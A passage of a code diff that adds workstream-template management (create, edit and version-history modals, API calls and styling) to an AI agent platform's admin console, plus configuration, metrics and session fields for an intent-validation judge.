+              showToast("Failed to delete WS template");
+            });
+        },
+      );
+    });
+  });
+  el.querySelectorAll("[data-history-wst]").forEach(function (btn) {
+    btn.addEventListener("click", function () {
+      showWstHistoryModal(this.getAttribute("data-history-wst"));
+    });
+  });
+}
+
+function toggleWstPromptSource() {
+  var inline = document.getElementById("cwst-src-inline").checked;
+  document.getElementById("cwst-inline-section").style.display = inline
+    ? ""
+    : "none";
+  document.getElementById("cwst-ref-section").style.display = inline
+    ? "none"
+    : "";
+}
+
+function toggleEditWstPromptSource() {
+  var inline = document.getElementById("ewst-src-inline").checked;
+  document.getElementById("ewst-inline-section").style.display = inline
+    ? ""
+    : "none";
+  document.getElementById("ewst-ref-section").style.display = inline
+    ? "none"
+    : "";
+}
+
+function _populateWstPromptTemplates(selectId) {
+  var sel = document.getElementById(selectId);
+  sel.innerHTML = '<option value="">None</option>';
+  return authFetch("/v1/api/admin/templates")
+    .then(function (r) {
+      return r.json();
+    })
+    .then(function (data) {
+      (data.templates || []).forEach(function (t) {
+        var opt = document.createElement("option");
+        opt.value = t.name;
+        opt.textContent = t.name;
+        sel.appendChild(opt);
+      });
+    })
+    .catch(function () {
+      /* ignore */
+    });
+}
+
+function showCreateWsTemplateModal() {
+  _cwstTriggerEl = document.activeElement;
+  var ov = document.getElementById("create-wst-overlay");
+  ov.style.display = "flex";
+  document.getElementById("cwst-name").value = "";
+  document.getElementById("cwst-description").value = "";
+  document.getElementById("cwst-system-prompt").value = "";
+  document.getElementById("cwst-src-inline").checked = true;
+  toggleWstPromptSource();
+  _populateWstPromptTemplates("cwst-prompt-template");
+  document.getElementById("cwst-model").value = "";
+  document.getElementById("cwst-auto-approve").checked = false;
+  document.getElementById("cwst-auto-approve-tools").value = "";
+  document.getElementById("cwst-token-budget").value = "0";
+  document.getElementById("cwst-temperature").value = "";
+  document.getElementById("cwst-reasoning-effort").value = "";
+  document.getElementById("cwst-max-tokens").value = "";
+  document.getElementById("cwst-agent-max-turns").value = "";
+  document.getElementById("cwst-enabled").checked = true;
+  document.getElementById("create-wst-error").style.display = "none";
+  document.getElementById("cwst-name").focus();
+  _cwstTrapHandler = _installTrap("create-wst-overlay", "create-wst-box");
+}
+
+function hideCreateWsTemplateModal() {
+  document.getElementById("create-wst-overlay").style.display = "none";
+  _cwstTrapHandler = _removeTrap(_cwstTrapHandler);
+  if (_cwstTriggerEl && _cwstTriggerEl.focus) _cwstTriggerEl.focus();
+  _cwstTriggerEl = null;
+}
+
+function submitCreateWsTemplate() {
+  var name = document.getElementById("cwst-name").value.trim();
+  if (!name) {
+    var e = document.getElementById("create-wst-error");
+    e.textContent = "Name is required";
+    e.style.display = "";
+    return;
+  }
+  var isInline = document.getElementById("cwst-src-inline").checked;
+  document.getElementById("cwst-submit").disabled = true;
+  authFetch("/v1/api/admin/ws-templates", {
+    method: "POST",
+    headers: { "Content-Type": "application/json" },
+    body: JSON.stringify({
+      name: name,
+      description: document.getElementById("cwst-description").value,
+      system_prompt: isInline
+        ? document.getElementById("cwst-system-prompt").value
+        : "",
+      prompt_template: isInline
+        ? ""
+        : document.getElementById("cwst-prompt-template").value,
+      model: document.getElementById("cwst-model").value.trim(),
+      auto_approve: document.getElementById("cwst-auto-approve").checked,
+      auto_approve_tools: document
+        .getElementById("cwst-auto-approve-tools")
+        .value.trim(),
+      token_budget: parseInt(
+        document.getElementById("cwst-token-budget").value || "0",
+        10,
+      ),
+      temperature: document.getElementById("cwst-temperature").value
+        ? parseFloat(document.getElementById("cwst-temperature").value)
+        : null,
+      reasoning_effort: document.getElementById("cwst-reasoning-effort").value,
+      max_tokens: document.getElementById("cwst-max-tokens").value
+        ? parseInt(document.getElementById("cwst-max-tokens").value, 10)
+        : null,
+      agent_max_turns: document.getElementById("cwst-agent-max-turns").value
+        ? parseInt(document.getElementById("cwst-agent-max-turns").value, 10)
+        : null,
+      enabled: document.getElementById("cwst-enabled").checked,
+    }),
+  })
+    .then(function (r) {
+      if (!r.ok)
+        return r.json().then(function (d) {
+          throw new Error(d.error || "Failed");
+        });
+      return r.json();
+    })
+    .then(function () {
+      hideCreateWsTemplateModal();
+      showToast("WS template created");
+      loadGovWsTemplates();
+    })
+    .catch(function (e) {
+      var el = document.getElementById("create-wst-error");
+      el.textContent = e.message;
+      el.style.display = "";
+    })
+    .finally(function () {
+      document.getElementById("cwst-submit").disabled = false;
+    });
+}
+
+function showEditWsTemplateModal(wstId) {
+  _ewstTriggerEl = document.activeElement;
+  var tpl = null;
+  for (var i = 0; i < _govWsTemplates.length; i++) {
+    if (_govWsTemplates[i].ws_template_id === wstId) {
+      tpl = _govWsTemplates[i];
+      break;
+    }
+  }
+  if (!tpl) return;
+  var ov = document.getElementById("edit-wst-overlay");
+  ov.style.display = "flex";
+  document.getElementById("ewst-id").value = wstId;
+  document.getElementById("ewst-name").value = tpl.name;
+  document.getElementById("ewst-description").value = tpl.description || "";
+  document.getElementById("ewst-system-prompt").value = tpl.system_prompt || "";
+  // Set radio based on which field has content
+  if (tpl.prompt_template && !tpl.system_prompt) {
+    document.getElementById("ewst-src-ref").checked = true;
+  } else {
+    document.getElementById("ewst-src-inline").checked = true;
+  }
+  toggleEditWstPromptSource();
+  _populateWstPromptTemplates("ewst-prompt-template").then(function () {
+    if (tpl.prompt_template) {
+      document.getElementById("ewst-prompt-template").value =
+        tpl.prompt_template;
+    }
+  });
+  document.getElementById("ewst-model").value = tpl.model || "";
+  document.getElementById("ewst-auto-approve").checked = tpl.auto_approve;
+  document.getElementById("ewst-auto-approve-tools").value =
+    tpl.auto_approve_tools || "";
+  document.getElementById("ewst-token-budget").value = tpl.token_budget || 0;
+  document.getElementById("ewst-temperature").value =
+    tpl.temperature != null ? tpl.temperature : "";
+  document.getElementById("ewst-reasoning-effort").value =
+    tpl.reasoning_effort || "";
+  document.getElementById("ewst-max-tokens").value =
+    tpl.max_tokens != null ? tpl.max_tokens : "";
+  document.getElementById("ewst-agent-max-turns").value =
+    tpl.agent_max_turns != null ? tpl.agent_max_turns : "";
+  document.getElementById("ewst-enabled").checked = tpl.enabled;
+  document.getElementById("edit-wst-error").style.display = "none";
+  _ewstTrapHandler = _installTrap("edit-wst-overlay", "edit-wst-box");
+}
+
+function hideEditWsTemplateModal() {
+  document.getElementById("edit-wst-overlay").style.display = "none";
+  _ewstTrapHandler = _removeTrap(_ewstTrapHandler);
+  if (_ewstTriggerEl && _ewstTriggerEl.focus) _ewstTriggerEl.focus();
+  _ewstTriggerEl = null;
+}
+
+function submitEditWsTemplate() {
+  var id = document.getElementById("ewst-id").value;
+  var name = document.getElementById("ewst-name").value.trim();
+  if (!name) {
+    var e = document.getElementById("edit-wst-error");
+    e.textContent = "Name is required";
+    e.style.display = "";
+    return;
+  }
+  var isInline = document.getElementById("ewst-src-inline").checked;
+  document.getElementById("ewst-submit").disabled = true;
+  authFetch("/v1/api/admin/ws-templates/" + id, {
+    method: "PUT",
+    headers: { "Content-Type": "application/json" },
+    body: JSON.stringify({
+      name: document.getElementById("ewst-name").value.trim(),
+      description: document.getElementById("ewst-description").value,
+      system_prompt: isInline
+        ? document.getElementById("ewst-system-prompt").value
+        : "",
+      prompt_template: isInline
+        ? ""
+        : document.getElementById("ewst-prompt-template").value,
+      model: document.getElementById("ewst-model").value.trim(),
+      auto_approve: document.getElementById("ewst-auto-approve").checked,
+      auto_approve_tools: document
+        .getElementById("ewst-auto-approve-tools")
+        .value.trim(),
+      token_budget: parseInt(
+        document.getElementById("ewst-token-budget").value || "0",
+        10,
+      ),
+      temperature: document.getElementById("ewst-temperature").value
+        ? parseFloat(document.getElementById("ewst-temperature").value)
+        : null,
+      reasoning_effort: document.getElementById("ewst-reasoning-effort").value,
+      max_tokens: document.getElementById("ewst-max-tokens").value
+        ? parseInt(document.getElementById("ewst-max-tokens").value, 10)
+        : null,
+      agent_max_turns: document.getElementById("ewst-agent-max-turns").value
+        ? parseInt(document.getElementById("ewst-agent-max-turns").value, 10)
+        : null,
+      enabled: document.getElementById("ewst-enabled").checked,
+    }),
+  })
+    .then(function (r) {
+      if (!r.ok)
+        return r.json().then(function (d) {
+          throw new Error(d.error || "Failed");
+        });
+      return r.json();
+    })
+    .then(function () {
+      hideEditWsTemplateModal();
+      showToast("WS template updated");
+      loadGovWsTemplates();
+    })
+    .catch(function (e) {
+      var el = document.getElementById("edit-wst-error");
+      el.textContent = e.message;
+      el.style.display = "";
+    })
+    .finally(function () {
+      document.getElementById("ewst-submit").disabled = false;
+    });
+}
+
+// ---------------------------------------------------------------------------
+// WS Template Version History
+// ---------------------------------------------------------------------------
+
+var _whTrapHandler = null;
+var _whTriggerEl = null;
+
+function showWstHistoryModal(wstId) {
+  _whTriggerEl = document.activeElement;
+  var ov = document.getElementById("wst-history-overlay");
+  ov.style.display = "flex";
+  document.getElementById("wst-history-content").innerHTML =
+    '<div class="dashboard-empty">Loading...</div>';
+  _whTrapHandler = _installTrap("wst-history-overlay", "wst-history-box");
+  authFetch("/v1/api/admin/ws-templates/" + wstId + "/versions")
+    .then(function (r) {
+      if (!r.ok) throw new Error("Failed");
+      return r.json();
+    })
+    .then(function (data) {
+      var versions = data.versions || [];
+      if (!versions.length) {
+        document.getElementById("wst-history-content").innerHTML =
+          '<div class="dashboard-empty">No version history yet</div>';
+        return;
+      }
+      var html = "";
+      for (var i = 0; i < versions.length; i++) {
+        var v = versions[i];
+        var snapshot = "{}";
+        try {
+          snapshot = JSON.stringify(JSON.parse(v.snapshot), null, 2);
+        } catch (e) {
+          snapshot = v.snapshot;
+        }
+        html +=
+          '<div class="admin-row" style="flex-direction:column;align-items:stretch">' +
+          '<div style="display:flex;justify-content:space-between;margin-bottom:4px">' +
+          "<strong>v" +
+          v.version +
+          "</strong>" +
+          '<span class="label-hint">' +
+          escapeHtml(v.changed_by || "unknown") +
+          " &mdash; " +
+          escapeHtml(v.created) +
+          "</span></div>" +
+          '<pre style="margin:0;padding:8px;background:var(--bg-elevated,#1a1a2e);border-radius:4px;overflow-x:auto;font-size:0.85em;max-height:200px;overflow-y:auto">' +
+          escapeHtml(snapshot) +
+          "</pre></div>";
+      }
+      document.getElementById("wst-history-content").innerHTML = html;
+    })
+    .catch(function () {
+      document.getElementById("wst-history-content").innerHTML =
+        '<div class="dashboard-empty">Failed to load version history</div>';
+    });
+}
+
+function hideWstHistoryModal() {
+  document.getElementById("wst-history-overlay").style.display = "none";
+  _whTrapHandler = _removeTrap(_whTrapHandler);
+  if (_whTriggerEl && _whTriggerEl.focus) _whTriggerEl.focus();
+  _whTriggerEl = null;
+}
+
 // ---------------------------------------------------------------------------
 // Usage
 // ---------------------------------------------------------------------------

turnstone/console/static/index.html

@@ -86,6 +86,7 @@
       <button id="tab-roles" class="admin-tab" data-tab="roles" role="tab" aria-selected="false" aria-controls="admin-roles" tabindex="-1" onclick="switchAdminTab('roles')">Roles</button>
       <button id="tab-policies" class="admin-tab" data-tab="policies" role="tab" aria-selected="false" aria-controls="admin-policies" tabindex="-1" onclick="switchAdminTab('policies')">Policies</button>
       <button id="tab-templates" class="admin-tab" data-tab="templates" role="tab" aria-selected="false" aria-controls="admin-templates" tabindex="-1" onclick="switchAdminTab('templates')">Templates</button>
+      <button id="tab-ws-templates" class="admin-tab" data-tab="ws-templates" role="tab" aria-selected="false" aria-controls="admin-ws-templates" tabindex="-1" onclick="switchAdminTab('ws-templates')">WS Templates</button>
       <button id="tab-usage" class="admin-tab" data-tab="usage" role="tab" aria-selected="false" aria-controls="admin-usage" tabindex="-1" onclick="switchAdminTab('usage')">Usage</button>
       <button id="tab-audit" class="admin-tab" data-tab="audit" role="tab" aria-selected="false" aria-controls="admin-audit" tabindex="-1" onclick="switchAdminTab('audit')">Audit</button>
     </div>
@@ -247,6 +248,23 @@
       </div>
     </div>
 
+    <!-- WS Templates Tab -->
+    <div id="admin-ws-templates" class="admin-panel" role="tabpanel" aria-labelledby="tab-ws-templates" style="display:none">
+      <div class="admin-toolbar">
+        <span class="section-header" style="margin:0">WS TEMPLATES</span>
+        <button class="admin-action-btn" onclick="showCreateWsTemplateModal()">+ Create</button>
+      </div>
+      <div class="admin-colheaders" aria-hidden="true">
+        <span class="admin-col admin-col-tmname">NAME</span>
+        <span class="admin-col admin-col-tmcat">MODEL</span>
+        <span class="admin-col admin-col-tmvars">APPROVAL / BUDGET</span>
+        <span class="admin-col admin-col-actions">VER / ACTIONS</span>
+      </div>
+      <div id="admin-ws-templates-table" role="list" aria-label="Workstream templates" aria-live="polite">
+        <div class="dashboard-empty">Loading WS templates...</div>
+      </div>
+    </div>
+
     <!-- Usage Tab -->
     <div id="admin-usage" class="admin-panel" role="tabpanel" aria-labelledby="tab-usage" style="display:none">
       <div class="admin-toolbar">
@@ -353,6 +371,10 @@ window.TURNSTONE_KB_SHORTCUTS = [
     <select id="new-ws-template">
       <option value="">Use defaults</option>
     </select>
+    <label for="new-ws-profile">Profile <span class="label-hint">optional &mdash; workstream template</span></label>
+    <select id="new-ws-profile">
+      <option value="">None</option>
+    </select>
     <label for="new-ws-task">Task <span class="label-hint">optional &mdash; sent as first message</span></label>
     <textarea id="new-ws-task" rows="3" placeholder="What should this workstream work on?"></textarea>
     <div id="new-ws-buttons">
@@ -490,6 +512,8 @@ window.TURNSTONE_KB_SHORTCUTS = [
     <input id="cs-model" type="text" placeholder="Default model" autocomplete="off">
     <label for="cs-template">Template <span class="label-hint">optional</span></label>
     <input id="cs-template" type="text" placeholder="Prompt template name" autocomplete="off">
+    <label for="cs-ws-template">WS Template <span class="label-hint">optional &mdash; workstream profile</span></label>
+    <select id="cs-ws-template"><option value="">None</option></select>
     <label for="cs-message">Initial message</label>
     <textarea id="cs-message" rows="3" placeholder="What should the workstream do?"></textarea>
     <label class="admin-checkbox"><input id="cs-autoapprove" type="checkbox"> Auto-approve tool calls</label>
@@ -538,6 +562,8 @@ window.TURNSTONE_KB_SHORTCUTS = [
     <input id="es-model" type="text" autocomplete="off">
     <label for="es-template">Template <span class="label-hint">optional</span></label>
     <input id="es-template" type="text" autocomplete="off">
+    <label for="es-ws-template">WS Template <span class="label-hint">optional</span></label>
+    <select id="es-ws-template"><option value="">None</option></select>
     <label for="es-message">Initial message</label>
     <textarea id="es-message" rows="3"></textarea>
     <label class="admin-checkbox"><input id="es-autoapprove" type="checkbox"> Auto-approve tool calls</label>
@@ -714,6 +740,124 @@ window.TURNSTONE_KB_SHORTCUTS = [
   </div>
 </div>
 
+<!-- Create WS Template Modal -->
+<div id="create-wst-overlay" style="display:none" role="dialog" aria-modal="true" aria-labelledby="create-wst-title">
+  <div id="create-wst-box" class="admin-modal admin-modal-wide">
+    <h2 id="create-wst-title">Create Workstream Template</h2>
+    <div id="create-wst-error" role="alert" aria-live="assertive"></div>
+    <label for="cwst-name">Name</label>
+    <input id="cwst-name" type="text" placeholder="e.g. Code Review Agent" autocomplete="off">
+    <label for="cwst-description">Description <span class="label-hint">optional</span></label>
+    <input id="cwst-description" type="text" placeholder="Brief description" autocomplete="off">
+    <label>System Prompt Source</label>
+    <div style="display:flex;align-items:center;gap:12px;margin-bottom:8px">
+      <label class="admin-checkbox" style="margin-top:0"><input id="cwst-src-inline" type="radio" name="cwst-src" value="inline" checked onchange="toggleWstPromptSource()"> Inline</label>
+      <label class="admin-checkbox" style="margin-top:0"><input id="cwst-src-ref" type="radio" name="cwst-src" value="ref" onchange="toggleWstPromptSource()"> Prompt Template</label>
+    </div>
+    <div id="cwst-inline-section">
+      <label for="cwst-system-prompt">System Prompt <span class="label-hint">inline text</span></label>
+      <textarea id="cwst-system-prompt" rows="4" placeholder="You are a..."></textarea>
+    </div>
+    <div id="cwst-ref-section" style="display:none">
+      <label for="cwst-prompt-template">Prompt Template <span class="label-hint">reference by name</span></label>
+      <select id="cwst-prompt-template"><option value="">None</option></select>
+    </div>
+    <label for="cwst-model">Model <span class="label-hint">optional — server default if empty</span></label>
+    <input id="cwst-model" type="text" placeholder="Default model" autocomplete="off">
+    <label class="admin-checkbox"><input id="cwst-auto-approve" type="checkbox"> Auto-approve all tools</label>
+    <label for="cwst-auto-approve-tools">Auto-approve tools <span class="label-hint">comma-separated tool names</span></label>
+    <input id="cwst-auto-approve-tools" type="text" placeholder="e.g. read_file, list_directory" autocomplete="off">
+    <label for="cwst-token-budget">Token budget <span class="label-hint">0 = unlimited</span></label>
+    <input id="cwst-token-budget" type="number" value="0" min="0">
+    <label for="cwst-temperature">Temperature <span class="label-hint">optional — 0.0-2.0, empty = server default</span></label>
+    <input id="cwst-temperature" type="number" step="0.1" min="0" max="2" placeholder="Server default" autocomplete="off">
+    <label for="cwst-reasoning-effort">Reasoning effort <span class="label-hint">optional</span></label>
+    <select id="cwst-reasoning-effort">
+      <option value="">Server default</option>
+      <option value="low">Low</option>
+      <option value="medium">Medium</option>
+      <option value="high">High</option>
+      <option value="none">None</option>
+      <option value="max">Max</option>
+    </select>
+    <label for="cwst-max-tokens">Max tokens <span class="label-hint">optional — 0 = server default</span></label>
+    <input id="cwst-max-tokens" type="number" min="0" placeholder="Server default" autocomplete="off">
+    <label for="cwst-agent-max-turns">Agent max turns <span class="label-hint">optional — 0 = server default</span></label>
+    <input id="cwst-agent-max-turns" type="number" min="0" placeholder="Server default" autocomplete="off">
+    <label class="admin-checkbox"><input id="cwst-enabled" type="checkbox" checked> Enabled</label>
+    <div class="modal-buttons">
+      <button class="modal-cancel" onclick="hideCreateWsTemplateModal()">Cancel</button>
+      <button id="cwst-submit" class="modal-submit" onclick="submitCreateWsTemplate()">Create</button>
+    </div>
+  </div>
+</div>
+
+<!-- Edit WS Template Modal -->
+<div id="edit-wst-overlay" style="display:none" role="dialog" aria-modal="true" aria-labelledby="edit-wst-title">
+  <div id="edit-wst-box" class="admin-modal admin-modal-wide">
+    <h2 id="edit-wst-title">Edit Workstream Template</h2>
+    <div id="edit-wst-error" role="alert" aria-live="assertive"></div>
+    <input id="ewst-id" type="hidden">
+    <label for="ewst-name">Name</label>
+    <input id="ewst-name" type="text" autocomplete="off">
+    <label for="ewst-description">Description</label>
+    <input id="ewst-description" type="text" autocomplete="off">
+    <label>System Prompt Source</label>
+    <div style="display:flex;align-items:center;gap:12px;margin-bottom:8px">
+      <label class="admin-checkbox" style="margin-top:0"><input id="ewst-src-inline" type="radio" name="ewst-src" value="inline" checked onchange="toggleEditWstPromptSource()"> Inline</label>
+      <label class="admin-checkbox" style="margin-top:0"><input id="ewst-src-ref" type="radio" name="ewst-src" value="ref" onchange="toggleEditWstPromptSource()"> Prompt Template</label>
+    </div>
+    <div id="ewst-inline-section">
+      <label for="ewst-system-prompt">System Prompt</label>
+      <textarea id="ewst-system-prompt" rows="4"></textarea>
+    </div>
+    <div id="ewst-ref-section" style="display:none">
+      <label for="ewst-prompt-template">Prompt Template</label>
+      <select id="ewst-prompt-template"><option value="">None</option></select>
+    </div>
+    <label for="ewst-model">Model</label>
+    <input id="ewst-model" type="text" autocomplete="off">
+    <label class="admin-checkbox"><input id="ewst-auto-approve" type="checkbox"> Auto-approve all tools</label>
+    <label for="ewst-auto-approve-tools">Auto-approve tools</label>
+    <input id="ewst-auto-approve-tools" type="text" autocomplete="off">
+    <label for="ewst-token-budget">Token budget</label>
+    <input id="ewst-token-budget" type="number" value="0" min="0">
+    <label for="ewst-temperature">Temperature <span class="label-hint">optional — 0.0-2.0, empty = server default</span></label>
+    <input id="ewst-temperature" type="number" step="0.1" min="0" max="2" placeholder="Server default" autocomplete="off">
+    <label for="ewst-reasoning-effort">Reasoning effort <span class="label-hint">optional</span></label>
+    <select id="ewst-reasoning-effort">
+      <option value="">Server default</option>
+      <option value="low">Low</option>
+      <option value="medium">Medium</option>
+      <option value="high">High</option>
+      <option value="none">None</option>
+      <option value="max">Max</option>
+    </select>
+    <label for="ewst-max-tokens">Max tokens <span class="label-hint">optional</span></label>
+    <input id="ewst-max-tokens" type="number" min="0" placeholder="Server default" autocomplete="off">
+    <label for="ewst-agent-max-turns">Agent max turns <span class="label-hint">optional</span></label>
+    <input id="ewst-agent-max-turns" type="number" min="0" placeholder="Server default" autocomplete="off">
+    <label class="admin-checkbox"><input id="ewst-enabled" type="checkbox" checked> Enabled</label>
+    <div class="modal-buttons">
+      <button class="modal-cancel" onclick="hideEditWsTemplateModal()">Cancel</button>
+      <button id="ewst-submit" class="modal-submit" onclick="submitEditWsTemplate()">Save</button>
+    </div>
+  </div>
+</div>
+
+<!-- WS Template Version History Modal -->
+<div id="wst-history-overlay" style="display:none" role="dialog" aria-modal="true" aria-labelledby="wst-history-title">
+  <div id="wst-history-box" class="admin-modal admin-modal-wide">
+    <h2 id="wst-history-title">Version History</h2>
+    <div id="wst-history-content">
+      <div class="dashboard-empty">Loading...</div>
+    </div>
+    <div class="modal-buttons">
+      <button class="modal-cancel" onclick="hideWstHistoryModal()">Close</button>
+    </div>
+  </div>
+</div>
+
 <script src="/static/admin.js"></script>
 <script src="/static/governance.js"></script>
 <script src="/static/app.js"></script>

turnstone/console/static/style.css

@@ -916,7 +916,8 @@
   cursor: pointer;
   margin-top: 14px;
 }
-.admin-modal label.admin-checkbox input[type="checkbox"] {
+.admin-modal label.admin-checkbox input[type="checkbox"],
+.admin-modal label.admin-checkbox input[type="radio"] {
   width: auto;
   margin: 0;
 }
@@ -1019,7 +1020,8 @@
 #create-schedule-overlay, #edit-schedule-overlay, #schedule-runs-overlay,
 #create-role-overlay, #edit-role-overlay, #user-roles-overlay,
 #create-policy-overlay, #edit-policy-overlay,
-#create-template-overlay, #edit-template-overlay {
+#create-template-overlay, #edit-template-overlay,
+#create-wst-overlay, #edit-wst-overlay, #wst-history-overlay {
   position: fixed;
   inset: 0;
   background: rgba(0, 0, 0, 0.7);
@@ -1133,6 +1135,10 @@
 #admin-templates .admin-row {
   grid-template-columns: 1.5fr 100px 1fr 140px;
 }
+#admin-ws-templates .admin-colheaders,
+#admin-ws-templates .admin-row {
+  grid-template-columns: 1.5fr 100px 1fr 180px;
+}
 
 /* ==========================================================================
    Governance: Audit grid
@@ -1321,6 +1327,9 @@
     grid-template-columns: 1fr 100px;
   }
   .admin-col-tmcat, .admin-col-tmvars { display: none; }
+  #admin-ws-templates .admin-colheaders, #admin-ws-templates .admin-row {
+    grid-template-columns: 1fr 140px;
+  }
   #admin-audit .admin-colheaders, #admin-audit .admin-row {
     grid-template-columns: 60px 1fr 100px;
   }

turnstone/core/config.py

@@ -125,6 +125,17 @@ _CONFIG_MAP: dict[str, dict[str, str]] = {
         "path": "db_path",
         "pool_size": "db_pool_size",
     },
+    "judge": {
+        "enabled": "judge_enabled",
+        "model": "judge_model",
+        "provider": "judge_provider",
+        "base_url": "judge_base_url",
+        "api_key": "judge_api_key",
+        "confidence_threshold": "judge_confidence",
+        "max_context_ratio": "judge_context_ratio",
+        "timeout": "judge_timeout",
+        "read_only_tools": "judge_read_only_tools",
+    },
 }
 
 # -- Tavily API key (cached) --------------------------------------------------

turnstone/core/memory.py

@@ -32,11 +32,19 @@ def save_message(
     tool_args: str | None = None,
     tool_call_id: str | None = None,
     provider_data: str | None = None,
+    tool_calls: str | None = None,
 ) -> None:
     """Log a message to the conversations table."""
     with contextlib.suppress(Exception):
         get_storage().save_message(
-            ws_id, role, content, tool_name, tool_args, tool_call_id, provider_data
+            ws_id,
+            role,
+            content,
+            tool_name,
+            tool_args,
+            tool_call_id,
+            provider_data,
+            tool_calls=tool_calls,
         )
 
 
@@ -71,6 +79,12 @@ def update_workstream_name(ws_id: str, name: str) -> None:
         get_storage().update_workstream_name(ws_id, name)
 
 
+def update_workstream_template(ws_id: str, ws_template_id: str, ws_template_version: int) -> None:
+    """Set ws_template_id and ws_template_version on the workstreams row."""
+    with contextlib.suppress(Exception):
+        get_storage().update_workstream_template(ws_id, ws_template_id, ws_template_version)
+
+
 def list_workstreams(node_id: str | None = None, limit: int = 100) -> list[Any]:
     """List workstreams, optionally filtered by node_id."""
     try:
@@ -162,6 +176,25 @@ def get_prompt_template_by_name(name: str) -> dict[str, Any] | None:
         return None
 
 
+# -- Workstream templates -----------------------------------------------------
+
+
+def get_ws_template_by_name(name: str) -> dict[str, Any] | None:
+    """Lookup workstream template by name."""
+    try:
+        return get_storage().get_ws_template_by_name(name)
+    except Exception:
+        return None
+
+
+def list_ws_templates(enabled_only: bool = False) -> list[dict[str, Any]]:
+    """Return all workstream templates, optionally enabled only."""
+    try:
+        return get_storage().list_ws_templates(enabled_only=enabled_only)
+    except Exception:
+        return []
+
+
 # -- Workstream metadata ------------------------------------------------------
 
 

turnstone/core/metrics.py

@@ -33,6 +33,14 @@ class MetricsCollector:
         # counters (continued)
         self._ratelimit_rejects: int = 0  # counter: total 429 responses
         self._evictions: int = 0  # counter: workstreams evicted
+        # judge metrics
+        self._judge_verdicts: dict[tuple[str, str], int] = defaultdict(int)
+        self._judge_latency: dict[str, Any] = {
+            "buckets": [0] * len(self.BUCKETS),
+            "sum": 0.0,
+            "count": 0,
+        }
+        self._judge_enabled: bool = False
 
     def record_request(self, method: str, endpoint: str, status: int, duration: float) -> None:
         with self._lock:
@@ -97,6 +105,23 @@ class MetricsCollector:
         with self._lock:
             self._evictions += 1
 
+    def set_judge_enabled(self, enabled: bool) -> None:
+        with self._lock:
+            self._judge_enabled = enabled
+
+    def record_judge_verdict(self, tier: str, risk_level: str, latency_ms: int) -> None:
+        """Record an intent validation verdict."""
+        with self._lock:
+            self._judge_verdicts[(tier, risk_level)] += 1
+            # Track LLM latency separately (heuristic is sub-ms, not interesting)
+            if tier == "llm":
+                seconds = latency_ms / 1000.0
+                for i, b in enumerate(self.BUCKETS):
+                    if seconds <= b:
+                        self._judge_latency["buckets"][i] += 1
+                self._judge_latency["sum"] += seconds
+                self._judge_latency["count"] += 1
+
     def generate_text(
         self,
         workstream_states: dict[str, int],
@@ -144,6 +169,9 @@ class MetricsCollector:
             backend_up = self._backend_up
             circuit_state = self._circuit_state
             evictions = self._evictions
+            judge_verdicts = dict(self._judge_verdicts)
+            judge_latency = dict(self._judge_latency)
+            judge_enabled = self._judge_enabled
 
         # turnstone_build_info
         lines.append("# HELP turnstone_build_info Server version and model info")
@@ -258,6 +286,40 @@ class MetricsCollector:
             evictions,
         )
 
+        # turnstone_judge_enabled
+        gauge(
+            "turnstone_judge_enabled",
+            "Whether intent validation judge is enabled (1=on, 0=off)",
+            1 if judge_enabled else 0,
+        )
+
+        # turnstone_judge_verdicts_total
+        if judge_verdicts:
+            lines.append("# HELP turnstone_judge_verdicts_total Total intent validation verdicts")
+            lines.append("# TYPE turnstone_judge_verdicts_total counter")
+            for (tier, risk), cnt in sorted(judge_verdicts.items()):
+                lines.append(
+                    f'turnstone_judge_verdicts_total{{tier="{tier}",risk_level="{risk}"}} {cnt}'
+                )
+
+        # turnstone_judge_llm_latency_seconds (histogram)
+        if judge_latency["count"] > 0:
+            lines.append(
+                "# HELP turnstone_judge_llm_latency_seconds LLM judge evaluation latency in seconds"
+            )
+            lines.append("# TYPE turnstone_judge_llm_latency_seconds histogram")
+            for i, b in enumerate(self.BUCKETS):
+                lines.append(
+                    f'turnstone_judge_llm_latency_seconds{{le="{b}"}} {judge_latency["buckets"][i]}'
+                )
+            lines.append(
+                f'turnstone_judge_llm_latency_seconds{{le="+Inf"}} {judge_latency["count"]}'
+            )
+            lines.append(
+                f"turnstone_judge_llm_latency_seconds_sum {_fmt_value(judge_latency['sum'])}"
+            )
+            lines.append(f"turnstone_judge_llm_latency_seconds_count {judge_latency['count']}")
+
         # Per-workstream metrics (only when data is provided)
         if workstream_metrics:
             lines.append("# HELP turnstone_workstream_info Workstream metadata")

turnstone/core/session.py

@@ -77,6 +77,7 @@ if TYPE_CHECKING:
     from collections.abc import Iterator
 
     from turnstone.core.healthcheck import BackendHealthMonitor
+    from turnstone.core.judge import IntentJudge, JudgeConfig
     from turnstone.core.mcp_client import MCPClientManager
     from turnstone.core.model_registry import ModelConfig, ModelRegistry
     from turnstone.core.providers import (
@@ -147,6 +148,9 @@ class SessionUI(Protocol):
     def on_error(self, message: str) -> None: ...
     def on_state_change(self, state: str) -> None: ...
     def on_rename(self, name: str) -> None: ...
+    def on_intent_verdict(self, verdict: dict[str, Any]) -> None:
+        """Called when the LLM judge produces a verdict for a pending approval."""
+        ...
 
 
 # ---------------------------------------------------------------------------
@@ -217,6 +221,7 @@ class ChatSession:
         tool_search_threshold: int = 20,
         tool_search_max_results: int = 5,
         template: str | None = None,
+        judge_config: JudgeConfig | None = None,
     ):
         self.client = client
         self.model = model
@@ -257,6 +262,14 @@ class ChatSession:
         self._last_usage: dict[str, int] | None = None
         self._msg_tokens: list[int] = []  # parallel to self.messages
         self._system_tokens = 0  # tokens for system_messages
+        # Workstream template metadata
+        self._token_budget: int = 0
+        self._budget_warned: bool = False
+        self._budget_exhausted: bool = False
+        self._notify_on_complete: str = "{}"
+        self._ws_template_id: str = ""
+        self._ws_template_version: int = 0
+        self._ws_template_system_prompt: str = ""  # inline prompt from ws_template
         self._assistant_pending_tokens = 0
         self.creative_mode = False
         self._notify_count = 0
@@ -267,6 +280,9 @@ class ChatSession:
         # Cooperative cancellation: set from outside to stop generation
         self._cancel_event = threading.Event()
         self._cancelled_partial_msg: dict[str, Any] | None = None
+        # Intent validation judge (lazy-initialized)
+        self._judge_config: JudgeConfig | None = judge_config
+        self._judge: IntentJudge | None = None
         # MCP tool integration: merge external tools with built-in
         self._mcp_client = mcp_client
         self._mcp_refresh_cb: Any = None  # Callable | None (avoid import)
@@ -342,6 +358,11 @@ class ChatSession:
                 "instructions": self.instructions or "",
                 "creative_mode": str(self.creative_mode),
                 "template": self._template_name or "",
+                "token_budget": str(self._token_budget),
+                "ws_template_id": self._ws_template_id,
+                "ws_template_version": str(self._ws_template_version),
